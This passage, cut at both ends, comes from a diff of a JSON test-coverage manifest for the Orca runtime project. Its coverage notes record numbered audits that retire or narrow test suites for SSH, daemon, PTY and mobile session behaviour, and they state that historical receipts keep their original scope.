E2E receipts retain their complete original scope. Historical prior account (preserved verbatim): Git owner cleanup retires the mixed request-connection suite under repository test policy, including its encrypted request cancellation and cached paired-desktop authentication alarms, without equivalent replacement. Current commands and assertion references omit the retired suite; dated evidence retains its original scope and does not validate this reduced set. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit2153: Reduced sources intentionally lose the forwarding smoke and retire an unrelated current selector; historical runs do not validate changed source bytes. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2020: The CLI WebSocket source retains old-protocol refusal only; its paired-open, capability, timeout and admission projection examples are removed. No daemon-generation coverage is transferred to that callback. Both independent daemon E2E receipts remain unchanged at their original commands; the reduced unit selector has no fresh result. Historical prior account (preserved verbatim): Audit1983: Delete the reasonless-close scalar suite and optional-capability socket forwarding alias. Delete the mocked close-attribution topology field-inventory suite and its aliases/selectors; preserve independent dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1959 (sources 1957:11, 1957:35, 1957:36): The fixture-supplied repository roundtrip, isolated capability metadata readback, parser/default-timer/size-threshold/internal failure-counter examples and standalone handshake-only replay example are removed. Source11 retains real encrypted multi-client event ordering, reconnect snapshot and multiplex delivery under synthetic runtime state, and does not establish the broad handshake-to-reasonless-close refusal alias; retire that whole assertion object. Source36 capability metadata readback alias is retired. Source35 retains the actual v2 runtime-only metadata/downgrade refusal callback and captured mutating-trace fresh-nonce rejection; its mapped mobile-v2 refusal alias remains within modeled credential lookup scope. Both independent daemon E2E dated receipts remain byte-exact with their original commands and results. No historical passed receipt is narrowed or transferred to changed source bytes. No fresh execution, equivalent replacement, physical provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed by this metadata packet. Historical prior account (preserved verbatim): Audit1939 (sources1934/1935): Retain actual parked exit/disposal/cancel/leaf progression using injected exit and close adapters. The retained last-watcher case checks exact lifecyclePtyId, but no retained callback establishes the whole existing replacement-or-sibling-incarnation alias. Retire that broad assertion object rather than transfer partial support. Capability admission, static fields and duplicate routing examples are intentionally lost; unchanged daemon E2E receipts remain scoped to their own commands. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): The browser auth capability-advertisement case is removed in this audit; its direct encrypted-auth literal alarm is lost. Retained lifecycle evidence is not an equivalent replacement. Historical run commands and results remain historical. Recorded native Windows evidence covers the v21/v22/v23/v24/v25 named-pipe matrix. The deterministic daemon harness covers capable and legacy paired-runtime request shapes against live v25/v26 PTYs in separate worktrees, plus an unrelated control. Host/renderer tests cover old servers, missing liveness, stale publications, reused claims, split parents, explicit user intent, cross-profile isolation, remote runtime clients, SSH-provider routing, and WSL boundaries. A headed host paired to a separate live client, headless serve parity, Linux, SSH, and WSL remain explicit gaps. The audit removed private-router tests of mocked kill results and log fields. Their isolated success/failure attribution and pending-spawn tolerance alarms are no longer registered here; live lifecycle evidence does not establish equivalent log coverage. The isolated close-intent suite was removed. web-runtime-session.test.ts no longer supplies the lifecycle-close or old-server method-not-found assertions formerly referenced here. Their direct partition and RPC-shape alarms are lost; retained live daemon evidence does not establish equivalent coverage. The broad mirror fixture retains user-close suppression, refused-close reconciliation and optimistic reorder only. Its earlier reconnect/incarnation and projection examples no longer establish current daemon-generation coverage. Those narrow alarms are lost; other daemon evidence is not equivalent replacement coverage. Audit1318: src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts: Retain real local encrypted WebSocket regressions for pre-ready socket replacement preserving a request, close-before-ready logical subscription cleanup, unrelated RPC surviving another deadline, and pending setup abort leaving a sibling pending. Host server is synthetic and uses production crypto; kept scenarios also retain internal diagnostics/memory assertions unchanged. Remove happy routing, authority-envelope, unknown-ID/log, cleanup enum, binary, keepalive/liveness and production-budget/private socket inventories; intentionally lose those alarms, no physical host authorization, independent crypto or remote provider claim. Reduced selectors need fresh validation; historical full-suite receipts do not validate the changed coverage. No equivalent replacement or physical-provider claim. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed.", "motivatingLinks": [ "https://github.com/stablyai/orca/issues/9749", "https://github.com/stablyai/orca/issues/9949", @@ -6794,7 +6794,7 @@ "providers": ["local", "daemon", "ssh", "wsl", "remote-runtime"], "coveredPlatforms": ["macos"], "coveredProviders": ["local", "daemon", "ssh", "wsl", "remote-runtime"], - "coverageNotes": "Audit5922 intentionally retires Gemini interrupt versus Codex navigation classification and command-finished cleanup arbitration under supplied status/transport; the retained completion wrapper loses exactly two finite arbitration cases while its other registration factories remain. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5706 narrows claimed-owner assertions to the two retained asynchronous registry cases; retired claims and the original object are preserved in knownGaps. No fresh validation or replacement coverage. Historical prior account (preserved verbatim): Audit5605 retires complete low-value suites src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery.test.ts. Intentionally lose serialization of newer convergence after an in-flight adoption conflict alarms. Reduced commands have no fresh gate evidence or equivalent replacement claim. Historical prior account follows: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit4352 deletes the whole mocked daemon router, session-owner resolver, degraded-provider, terminal-host CWD-readability and foreground-inspection suites plus the native-process-CWD fixture suite; recovery retains only public multi-pane proactive socket-death notification/remount. Intentionally lose retirement admission, stale-inventory/fenced-kill authority, attach-only re-resolution/absence, fast-exit routing, sleep CWD checkpoint/wake, diagnostic cancellation/shutdown and foreground census/session-change alarms. No equivalent replacement or fresh gate execution is claimed. Historical prior account (preserved verbatim): Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. The Codex restart suite and exact command/testFiles/assertionRef are removed; its mock account-change/remote-pane restart alarms are intentionally lost. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3368 retires the whole host-session-launch unit source, including host-authority/create/ensure/legacy/Kimi/refusal/draft/options/prompt/cancel/kill/shared-disconnect and passive-sleep output callback alarms, without equivalent replacement. Its unit command token and test-file entry retire. Five unrelated macOS receipts remain verbatim and keep only their original scope; no fresh changed-selector/runtime/provider/process/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit3359 retires the whole create-handoff suite. Supplied disposition, late completion, close-callback and metadata-bookkeeping alarms are intentionally lost without equivalent replacement; the compound unit selector and test-file entry narrow accordingly. Five unrelated macOS receipts retain their original scope. No fresh runtime, process-deduplication, physical provider/network, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof. Audit2694 source-only review: Remove14 authored/14 expanded cases in the renderer completion wrapper family, including the complete bell/query-reply/stale-input factory, without replacement. Retain29 authored/34 expanded cases with unchanged callback bodies. Three removals are the existing pending2203 overlap and must be adopted/count-reconciled once; eleven are fresh removals. No current-source runtime or gate execution is supplied by this packet; dated evidence retains its original source scope and does not validate the reduced factory bytes. No equivalent replacement, physical provider, mixed-version, mobile, rendered UI, cross-platform, soak or measured-performance result is claimed. The existing command and testFiles selector retain tests/pty-connection-completion-and-notification.test.ts; no wrapper-specific assertionRef is removed. Historical selector results do not validate its changed reachable factories. Historical prior account (preserved verbatim): Audit2709 removes src/renderer/src/runtime/web-session-tabs-sync/inventory/remote-runtime-session-tabs-inflight.test.ts: intentionally retire waiting out an older inventory and sharing a fresh post-operation request among concurrent callers. No equivalent replacement or fresh execution is claimed. Dated receipts remain historical evidence for their unchanged selectors only; they do not validate the reduced commands or full current gate. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Delete the complete pure orphan-topology suite and its file membership; preserve the other selectors from its combined command after archiving the original command string. Lost alarms are synthetic current-layout preservation, one-anchor grafting and ambiguous-anchor appending examples. Do not transfer their ownership/topology scope to sibling suites. Preserve all5 independent historical receipts exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the mocked agent-session suite and its prospective selector and aliases. Retire all3 whole dated changed-selector receipts, preserving their original raw objects in historical gaps without transferring counts or durations. Preserve5 unrelated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial agent-operation service suite retains only concurrent retry joining with changed-fingerprint conflict. Retire its complete three-title assertion object: old-owner legacy fallback before side effects, nested SSH Pi transcript refusal and completed/ambiguous physical-commit replay fences are no longer backed. Other probe/launch option/ledger/failure/remote-inventory examples disappear as detailed below. No actual provider spawn, live SSH or physical commit proof is retained by this source. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1911: The complete provider PTY-inspection mock suite is removed: missing-provider rejection, stale-PTY renderer unverifiable mapping, preserved supplied renderer failures, and supplied transport-loss mapping alarms are intentionally lost. No actual terminal teardown, daemon error or remote transport was exercised. Only the deleted explicit source tokens, testFile and whole assertionRef are removed. Meaningful remaining source selectors/assertions and unaffected dated receipts retain their original scope. No equivalent replacement, fresh reduced-gate, native/platform/provider, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1495 intentionally deletes the orphan-owner suite: explicit owner/host predicate examples are retired; no equivalent replacement coverage or fresh result is claimed. Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/agent-completion-coordinator-pending-title-inspection.test.ts: Loses obsolete pending title process races, inspection failure suppression, explicit completion precedence and delayed remote inspection alarms. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audits1301 and1308 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic macOS tests cover controller claims, daemon and SSH/relay operation replay, mixed-version selection, runtime ownership, exact provisional handoff, durable terminal retirement, two independent viewer mirrors, guarded adoption of legacy live PTYs, and completion classification when either the outer remote transport or authoritative host/provider process inspection becomes unreachable. The adoption harness models v1.4.150 agent/setup/shell tabs, current-generation restart and reconnect, exact handle/incarnation/worktree/host checks, topology CAS, competing clients, split-pane/group restoration, WSL ownership, and SSH owner rejection. The secondary parity repro runs independent clients against one headless remote Orca runtime over encrypted pairing and a real daemon-backed PTY, with tokened fixture-process identity separated from unrelated Codex app-server startup probes. The automated primary topology runs an isolated headed macOS Orca desktop server plus a separate paired web client and proves viewer-local fresh/resume focus, exact legacy placement, writable PTYs, unrelated-terminal survival, and host/client cleanup. SSH coverage is provider/relay contract and fault-injection coverage only; it does not substitute for paired-server coverage. Live Windows, Linux, WSL, SSH, and physical paired-Linux hosts remain gaps. The isolated intent-owner ledger suite was removed. web-runtime-session.test.ts retains exact post-create handoff confirmation only; its previous fresh/resume presentation and publication-replay assertions are no longer current references. Those direct owner-partition, cap and RPC/focus alarms are lost; other agent-session evidence does not establish equivalence. Structured handoff and adopted-leaf focus references now point to their dedicated surviving fixtures. Mixed-version recovery retains actual old-host recovery followed by a new CLI tab; its unsupported/missing-evidence tables are removed. Orphan recovery retains in-flight adoption-conflict serialization only; previous topology/pruning and absence/adoption examples are removed. These removed projection, capability and adoption-shape alarms are lost; retained cases do not replace them. Audit1301: src/renderer/src/runtime/remote-runtime-session-tabs-inflight.test.ts reduced. Direct dedupe eviction/count and equal receipt-position sample loses authored alarm. No equivalent replacement coverage is claimed. Audit1308: src/renderer/src/runtime/web-session-tabs-sync-agent-handoff.test.ts removed. Exact provisional replacement and post-create exit confirmation handoff pipeline alarms disappear. No equivalent replacement coverage is claimed. Audit1313: src/main/runtime/terminal-orphan-topology.test.ts: Retain actual topology merge algorithms preserving disjoint subtrees and grafted/ambiguous shared anchors with independent expected trees. Remove duplicate leaf validator and empty/no-change passthrough examples. Lose basic validation and no-group/noop characterization; no renderer layout proof. Reduced selectors require fresh validation; prior full-suite receipts do not validate removed or changed coverage. No equivalent replacement or physical-provider claim. Audit1342: src/renderer/src/components/terminal-pane/pty-connection-completion-and-notification.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.", + "coverageNotes": "Audit5922 intentionally retires Gemini interrupt versus Codex navigation classification and command-finished cleanup arbitration under supplied status/transport; the retained completion wrapper loses exactly two finite arbitration cases while its other registration factories remain. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5706 narrows claimed-owner assertions to the two retained asynchronous registry cases; retired claims and the original object are preserved in knownGaps. No fresh validation or replacement coverage. Historical prior account (preserved verbatim): Audit5605 retires complete low-value suites src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-recovery.test.ts. Intentionally lose serialization of newer convergence after an in-flight adoption conflict alarms. Reduced commands have no fresh gate evidence or equivalent replacement claim. Historical prior account follows: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit4352 deletes the whole mocked daemon router, session-owner resolver, degraded-provider, terminal-host CWD-readability and foreground-inspection suites plus the native-process-CWD fixture suite; recovery retains only public multi-pane proactive socket-death notification/remount. Intentionally lose retirement admission, stale-inventory/fenced-kill authority, attach-only re-resolution/absence, fast-exit routing, sleep CWD checkpoint/wake, diagnostic cancellation/shutdown and foreground census/session-change alarms. No equivalent replacement or fresh gate execution is claimed. Historical prior account (preserved verbatim): Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. The Codex restart suite and exact command/testFiles/assertionRef are removed; its mock account-change/remote-pane restart alarms are intentionally lost. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3368 retires the whole host-session-launch unit source, including host-authority/create/ensure/legacy/Kimi/refusal/draft/options/prompt/cancel/kill/shared-disconnect and passive-sleep output callback alarms, without equivalent replacement. Its unit command token and test-file entry retire. Five unrelated macOS receipts remain verbatim and keep only their original scope; no fresh changed-selector/runtime/provider/process/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit3359 retires the whole create-handoff suite. Supplied disposition, late completion, close-callback and metadata-bookkeeping alarms are intentionally lost without equivalent replacement; the compound unit selector and test-file entry narrow accordingly. Five unrelated macOS receipts retain their original scope. No fresh runtime, process-deduplication, physical provider/network, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof. Audit2694 source-only review: Remove14 authored/14 expanded cases in the renderer completion wrapper family, including the complete bell/query-reply/stale-input factory, without replacement. Retain29 authored/34 expanded cases with unchanged callback bodies. Three removals are the existing pending2203 overlap and must be adopted/count-reconciled once; eleven are fresh removals. No current-source runtime or gate execution is supplied by this packet; dated evidence retains its original source scope and does not validate the reduced factory bytes. No equivalent replacement, physical provider, mixed-version, mobile, rendered UI, cross-platform, soak or measured-performance result is claimed. The existing command and testFiles selector retain tests/pty-connection-completion-and-notification.test.ts; no wrapper-specific assertionRef is removed. Historical selector results do not validate its changed reachable factories. Historical prior account (preserved verbatim): Audit2709 removes src/renderer/src/runtime/web-session-tabs-sync/inventory/remote-runtime-session-tabs-inflight.test.ts: intentionally retire waiting out an older inventory and sharing a fresh post-operation request among concurrent callers. No equivalent replacement or fresh execution is claimed. Dated receipts remain historical evidence for their unchanged selectors only; they do not validate the reduced commands or full current gate. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Delete the complete pure orphan-topology suite and its file membership; preserve the other selectors from its combined command after archiving the original command string. Lost alarms are synthetic current-layout preservation, one-anchor grafting and ambiguous-anchor appending examples. Do not transfer their 